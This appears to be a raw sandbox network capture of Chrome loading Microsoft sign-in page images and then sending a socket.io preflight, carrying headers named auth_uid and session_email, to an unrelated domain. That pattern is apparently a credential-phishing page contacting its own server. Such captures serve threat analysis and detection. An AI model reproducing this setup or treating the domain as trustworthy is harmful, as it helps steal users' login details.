2024-06-20 11:54:21 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.16	49702	192.229.133.221	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:20 UTC	509	OUT	GET /w3css/4/w3.css HTTP/1.1 Host: www.w3schools.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:21 UTC	509	IN	HTTP/1.1 200 OK Age: 19696 Cache-Control: public,max-age=31536000,public Content-Security-Policy: frame-ancestors 'self' https://mycourses.w3schools.com; Content-Type: text/css Date: Thu, 20 Jun 2024 11:54:21 GMT Etag: "06bd4d1d6c2da1:0+ident" Last-Modified: Thu, 20 Jun 2024 05:58:06 GMT Server: ECS (lhd/35B3) Vary: Accept-Encoding X-Cache: HIT X-Content-Security-Policy: frame-ancestors 'self' https://mycourses.w3schools.com; X-Powered-By: ASP.NET Content-Length: 23427 Connection: close
2024-06-20 11:54:21 UTC	16383	IN	Data Raw: ef bb bf 2f 2a 20 57 33 2e 43 53 53 20 34 2e 31 35 20 44 65 63 65 6d 62 65 72 20 32 30 32 30 20 62 79 20 4a 61 6e 20 45 67 69 6c 20 61 6e 64 20 42 6f 72 67 65 20 52 65 66 73 6e 65 73 20 2a 2f 0a 68 74 6d 6c 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 62 6f 72 64 65 72 2d 62 6f 78 7d 2a 2c 2a 3a 62 65 66 6f 72 65 2c 2a 3a 61 66 74 65 72 7b 62 6f 78 2d 73 69 7a 69 6e 67 3a 69 6e 68 65 72 69 74 7d 0a 2f 2a 20 45 78 74 72 61 63 74 20 66 72 6f 6d 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 62 79 20 4e 69 63 6f 6c 61 73 20 47 61 6c 6c 61 67 68 65 72 20 61 6e 64 20 4a 6f 6e 61 74 68 61 6e 20 4e 65 61 6c 20 67 69 74 2e 69 6f 2f 6e 6f 72 6d 61 6c 69 7a 65 20 2a 2f 0a 68 74 6d 6c 7b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 77 65 62 Data Ascii: /* W3.CSS 4.15 December 2020 by Jan Egil and Borge Refsnes /html{box-sizing:border-box},:before,:after{box-sizing:inherit}/* Extract from normalize.css by Nicolas Gallagher and Jonathan Neal git.io/normalize */html{-ms-text-size-adjust:100%;-web
2024-06-20 11:54:21 UTC	7044	IN	Data Raw: 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 62 63 64 34 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 2e 77 33 2d 62 6c 75 65 2d 67 72 65 79 2c 2e 77 33 2d 68 6f 76 65 72 2d 62 6c 75 65 2d 67 72 65 79 3a 68 6f 76 65 72 2c 2e 77 33 2d 62 6c 75 65 2d 67 72 61 79 2c 2e 77 33 2d 68 6f 76 65 72 2d 62 6c 75 65 2d 67 72 61 79 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 36 30 37 64 38 62 21 69 6d 70 6f 72 74 61 6e 74 7d 0a 2e 77 33 2d 67 72 65 65 6e 2c 2e 77 33 2d 68 6f 76 65 72 2d 67 72 65 65 6e 3a 68 6f 76 65 72 7b 63 6f 6c 6f 72 3a 23 66 66 66 21 69 6d 70 6f 72 74 61 6e 74 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 Data Ascii: !important;background-color:#00bcd4!important}.w3-blue-grey,.w3-hover-blue-grey:hover,.w3-blue-gray,.w3-hover-blue-gray:hover{color:#fff!important;background-color:#607d8b!important}.w3-green,.w3-hover-green:hover{color:#fff!important;background-color:#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.16	49708	152.199.21.175	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:20 UTC	624	OUT	GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:21 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7539633 Cache-Control: public, max-age=31536000 Content-MD5: 1jQlecEJaGhFO2st5KXLhg== Content-Type: image/svg+xml Date: Thu, 20 Jun 2024 11:54:21 GMT Etag: 0x8DB5C3F4AC59B47 Last-Modified: Wed, 24 May 2023 10:11:51 GMT Server: ECAcc (lhc/78BB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 2ee1dbb1-b01e-00dc-3276-7e9a59000000 x-ms-version: 2009-09-19 Content-Length: 1636 Connection: close
2024-06-20 11:54:21 UTC	1636	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 38 2c 31 34 48 31 30 56 33 34 48 33 38 56 31 34 6d 32 2c 32 32 48 38 56 31 32 48 34 30 56 33 36 4d 31 37 2e 36 38 38 2c 31 38 2e 38 56 32 38 2e 38 32 38 48 31 35 2e 35 33 31 56 32 31 2e 32 33 34 61 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 2e 36 37 32 2e 34 33 6c 2d 2e 32 36 36 2e 31 31 37 61 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.16	49711	13.107.246.60	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:21 UTC	418	OUT	GET /shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:21 UTC	785	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:21 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:48 GMT ETag: 0x8DB5C3F4911527F x-ms-request-id: 25318beb-401e-0072-3b4a-c2419a000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240620T115421Z-16c46dd4948dzrdmeqk3v40frc00000002dg000000001gsf x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-06-20 11:54:21 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49712	13.107.246.60	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:21 UTC	438	OUT	GET /shared/1.0/content/images/picker_verify_fluent_authenticator_59892f1e05e3adf9fd2f71b42d92a27f.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:21 UTC	785	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:21 GMT Content-Type: image/svg+xml Content-Length: 2407 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F499A9B99 x-ms-request-id: a035c1a0-a01e-0004-5389-c24996000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240620T115421Z-16c46dd4948dzrdmeqk3v40frc00000002bg0000000059yz x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-06-20 11:54:21 UTC	2407	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed 59 3d 73 dd 38 12 cc af ea fe 03 eb 6d 72 17 88 02 66 f0 79 b5 ba e0 98 38 a0 52 05 ca ec 95 6c ab 4e 6b bb 6c af b5 3f ff ba 07 e0 7b 24 94 6c 7c 65 27 7a 4d 02 33 c3 c1 a0 a7 01 ff fa ed c7 87 e9 e5 e9 e1 fb c7 9b 53 28 a7 e9 e3 e3 d3 87 8f df db ef 1f 4f 8f 2f ff f9 fc e7 cd c9 4d 6e 0a 65 e2 b3 f7 4f cf cf 37 a7 4f 9f 3f 3d 9e a6 3f 7f 7f fe f4 ed e6 f4 f1 fb f7 2f ff ba be 7e 79 79 99 5f 74 fe fc f5 c3 b5 38 e7 ae 61 f8 f4 ef bf ff ed d7 df df 7e fb ef f4 f4 00 2b f9 9d 24 a7 e1 2a a6 b7 7a 15 ea 83 5c 95 f7 92 ae 7e cb ef 4a 78 7c 17 1e 1f 1f c2 e6 e0 97 f7 f6 cf 0c 7c 79 fb fd a3 3d be fa fa c7 f3 e3 cd e9 f1 c7 e3 a7 cf 0f 0f a7 e9 b7 e7 a7 2f e3 33 f8 b9 15 9d 6b 4e 32 b9 c5 a7 b9 48 08 08 df 3b 3c 73 79 8a b3 04 Data Ascii: Y=s8mrfy8RlNkl?{$l\|e'zM3S(O/MneO7O?=?/~yy_t8a~+$*z\~Jx\|\|y=/3kN2H;<sy

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49714	13.107.246.60	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:21 UTC	417	OUT	GET /shared/1.0/content/images/backgrounds/2_11d9e3bcdfede9ce5ce5ace2d129f1c4.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:21 UTC	805	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:21 GMT Content-Type: image/svg+xml Content-Length: 673 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:46 GMT ETag: 0x8DB5C3F47E260FD x-ms-request-id: ed387178-701e-0045-3b45-c2b185000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240620T115421Z-16c46dd4948sszvq7xb8z1y6bs000000028000000000ch3t x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-06-20 11:54:21 UTC	673	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1#vGal9!9A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.16	49713	13.107.246.60	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:21 UTC	421	OUT	GET /shared/1.0/content/images/picker_verify_sms_12b7d768ba76f2e782cc74e328171091.svg HTTP/1.1 Host: aadcdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:21 UTC	805	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:21 GMT Content-Type: image/svg+xml Content-Length: 199 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 24 May 2023 10:11:49 GMT ETag: 0x8DB5C3F49C21D98 x-ms-request-id: 3176e01f-301e-0005-6d97-c26294000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240620T115421Z-16c46dd4948mbnzhzz8a8gfam4000000028g00000000czkd x-fd-int-roxy-purgeid: 4554691 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-06-20 11:54:21 UTC	199	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 75 8f bd ae c2 30 0c 85 5f 25 32 6b d5 38 3f 88 80 92 0e 77 ea 00 6b 87 bb 21 08 4d a4 d2 22 62 35 3c fe 4d 2e 62 44 b6 e4 63 fb d3 b1 6c d3 3a b2 d7 7d 9a 93 83 40 f4 38 70 9e 73 6e b3 6a 97 e7 c8 25 22 f2 42 00 cb f1 4a c1 81 36 c0 82 8f 63 a0 b7 5e a3 cf 3f cb cb 01 32 64 da 94 84 ce 52 a4 c9 77 e7 94 3c 25 cb df 9d 7d fa 0b 7d 73 b9 c5 69 72 30 2f b3 07 de d9 c7 99 02 bb 3a 38 29 d3 28 1c 84 ec 05 0e 0a 83 5e 75 bb dd 99 a3 30 b5 94 55 af cc 49 c8 46 c9 de 0c 02 7b 5d a8 c2 ee 5b 2d e5 b1 ce ff d5 ef c7 7e a3 b1 46 bd 50 5f ea fe 00 a3 0d 47 ef fa 00 00 00 Data Ascii: u0_%2k8?wk!M"b5<M.bDcl:}@8psnj%"BJ6c^?2dRw<%}}sir0/:8)(^u0UIF{][-~FP_G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.16	49716	13.107.246.60	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:21 UTC	416	OUT	GET /shared/1.0/content/images/arrow_left_a9cc2824ef3517b6c4160dcf8ff7d410.svg HTTP/1.1 Host: logincdn.msauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:21 UTC	806	IN	HTTP/1.1 200 OK Date: Thu, 20 Jun 2024 11:54:21 GMT Content-Type: image/svg+xml Content-Length: 276 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Wed, 22 Jan 2020 00:38:00 GMT ETag: 0x8D79ED35591CF44 x-ms-request-id: b2811340-901e-0067-6508-c376b2000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240620T115421Z-16c46dd49482nw76e4r8vzw1dc00000002e00000000016e4 x-fd-int-roxy-purgeid: 67912908 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-06-20 11:54:21 UTC	276	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 95 51 3d 6f c3 20 10 fd 2b 88 ae e6 e0 08 d8 b8 b2 3d 74 ca 90 ae 1d ba 45 8a 6b 5b 22 1f aa 91 c9 cf 2f 67 3b 6e 87 2c 15 f0 80 bb 7b ef 9e a0 1a a7 8e dd cf fe 32 d6 bc 0f e1 f6 2a 65 8c 11 e2 0e ae df 9d d4 4a 29 99 2a 38 8b c3 29 f4 35 d7 86 b3 be 1d ba 3e 2c e7 69 68 e3 db f5 5e 73 c5 14 d3 26 4d de 54 61 08 be 6d 8e e3 d8 86 b1 92 cb ad ba 1d 43 cf 4e 35 7f 47 97 21 82 2d dc 04 ce 98 7d 01 39 16 7e 07 a5 c6 8c d0 09 b0 a5 a1 75 c8 33 d4 de 40 69 8c 98 71 4b cc 9c 55 e5 93 b3 af c1 fb 9a bf 18 45 83 cb bf bd 14 f1 b2 02 94 cd fd 53 fa 1e ff ef e3 ac 04 a0 41 01 aa c0 b4 0e 36 95 97 a4 47 9b 05 67 1d 11 d6 2c 66 33 67 c1 35 46 1b b1 49 9d da d8 47 40 3c 0e 98 4c 2e 3a 60 b5 4e 26 01 3f 52 03 93 0c cf 89 64 b4 b0 28 08 37 Data Ascii: Q=o +=tEk["/g;n,{2eJ)8)5>,ih^s&MTamCN5G!-}9~u3@iqKUESA6Gg,f3g5FIG@<L.:`N&?Rd(7

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.16	49718	152.199.21.175	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:22 UTC	424	OUT	GET /shared/1.0/content/images/picker_verify_code_b41922ebdaebec16b19999fc6054a15a.svg HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:22 UTC	737	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 7539634 Cache-Control: public, max-age=31536000 Content-MD5: 1jQlecEJaGhFO2st5KXLhg== Content-Type: image/svg+xml Date: Thu, 20 Jun 2024 11:54:22 GMT Etag: 0x8DB5C3F4AC59B47 Last-Modified: Wed, 24 May 2023 10:11:51 GMT Server: ECAcc (lhc/78BB) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 2ee1dbb1-b01e-00dc-3276-7e9a59000000 x-ms-version: 2009-09-19 Content-Length: 1636 Connection: close
2024-06-20 11:54:22 UTC	1636	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 34 38 20 34 38 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 72 65 63 74 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 2f 3e 3c 70 61 74 68 20 64 3d 22 4d 33 38 2c 31 34 48 31 30 56 33 34 48 33 38 56 31 34 6d 32 2c 32 32 48 38 56 31 32 48 34 30 56 33 36 4d 31 37 2e 36 38 38 2c 31 38 2e 38 56 32 38 2e 38 32 38 48 31 35 2e 35 33 31 56 32 31 2e 32 33 34 61 33 2e 32 2c 33 2e 32 2c 30 2c 30 2c 31 2d 2e 36 37 32 2e 34 33 6c 2d 2e 32 36 36 2e 31 31 37 61 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="48" height="48" viewBox="0 0 48 48"><title>assets</title><rect width="48" height="48" fill="none"/><path d="M38,14H10V34H38V14m2,22H8V12H40V36M17.688,18.8V28.828H15.531V21.234a3.2,3.2,0,0,1-.672.43l-.266.117a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.16	49728	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-06-20 11:54:28 UTC	504	OUT	OPTIONS /socket.io/?EIO=4&transport=polling&t=P0rVuBL HTTP/1.1 Host: fiveradio-newbam.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: auth_uid,session_email Origin: null User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-06-20 11:54:29 UTC	729	IN	HTTP/1.1 204 No Content Date: Thu, 20 Jun 2024 11:54:29 GMT Content-Length: 0 Connection: close Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE Vary: Access-Control-Request-Headers Access-Control-Allow-Headers: auth_uid,session_email CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kwFo3Xfdm6mRVNwlMEb8V2sVVPlyYtNWiG6DPdekp9U75q68eh41CEEPKDTP1tgQ%2FTpLBZ0M6xiccasiMVf2Kh9oAZsCR4ljqBPSDrhJrd069GzRzyQx%2Fk2xiJU%2BxUym9696S5DSnw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 896b907b9aa917ad-EWR alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.16	49730	104.21.84.200	443	6332	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
